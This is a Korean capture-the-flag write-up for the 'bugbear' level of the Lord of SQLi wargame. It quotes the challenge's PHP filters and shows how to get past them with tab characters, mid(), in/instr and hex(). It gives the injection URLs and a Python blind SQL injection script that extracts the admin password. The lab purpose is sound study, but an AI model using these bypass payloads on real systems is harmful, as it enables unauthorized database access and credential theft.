Write-Up
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
$_GET[pw] = addslashes($_GET[pw]);
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
위의 필터링 조건을 보면, 공백이 필터링 되고, like 등이 필터링 되고 있다. 공백이 필터링 되면서 %20, %0a 등이 필터링 되지만 %09로 해당 조건을 우회할 수 있다. substr 에 대한 필터링은 mid()로 우회할 수 있다. like는 in 구문과 instr로 우회가 가능하다. 그럼 blind sql injection을 실시해보도록 하자!
?pw=21&no=1%09||%09mid("abc",1,1)%09in("a")
모든 필터링을 우회하고, Hello guest를 출력해냈다. Hello admin도 출력해보도록 한다.
?pw=21&no=1%09||%09id%09in("admin") -> in 구문 사용
?pw=21&no=1%09||%09instr(id,"admin") -> instr 구문 사용
blind sql injection 공격이 가능한 것을 파악했으므로, pw 길이를 구해보도록 한다.
?pw=21&no=1%09||%09id%09in("admin")%26%26%09length(pw)%09in(8)
이제, pw를 구해보도록 하자! 코드는 전에 사용했던 것을 약간 수정해 사용한다.
import requests
import string
url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=21&no=1%09||%09id%09in(%22admin%22)%26%26%09"
cookies ={'PHPSESSID':"77584kr26d18lrrutitnbff0k"}
result=""
for i in range(1,9):
for j in range(33,127):
param="hex(mid(pw,"+str(i)+",1))%09in(hex("+str(j)+"))%23"
URL = url+param
response = requests.get(URL, cookies=cookies)
if "Hello admin" in response.text:
result += chr(j)
break
print("pw: "+result)
like 구문을 in 구문을 사용하도록 대체하였고, ord 도 'or'를 필터링 하는 과정에서 필터링되므로, hex()를 사용해 해당 필터링을 우회하도록 만들어줬다.
참고
https://codingeverybody.kr/php-preg_match-%ED%95%A8%EC%88%98/
preg_match() 에 대한 실습이다. $result에 대한 값이 1 이 나오는 것을 보아, 패턴이 매칭된 것을 볼 수 있다.
<?php
$result = preg_match("/ascii/","in the asciiord");
echo $result;
?>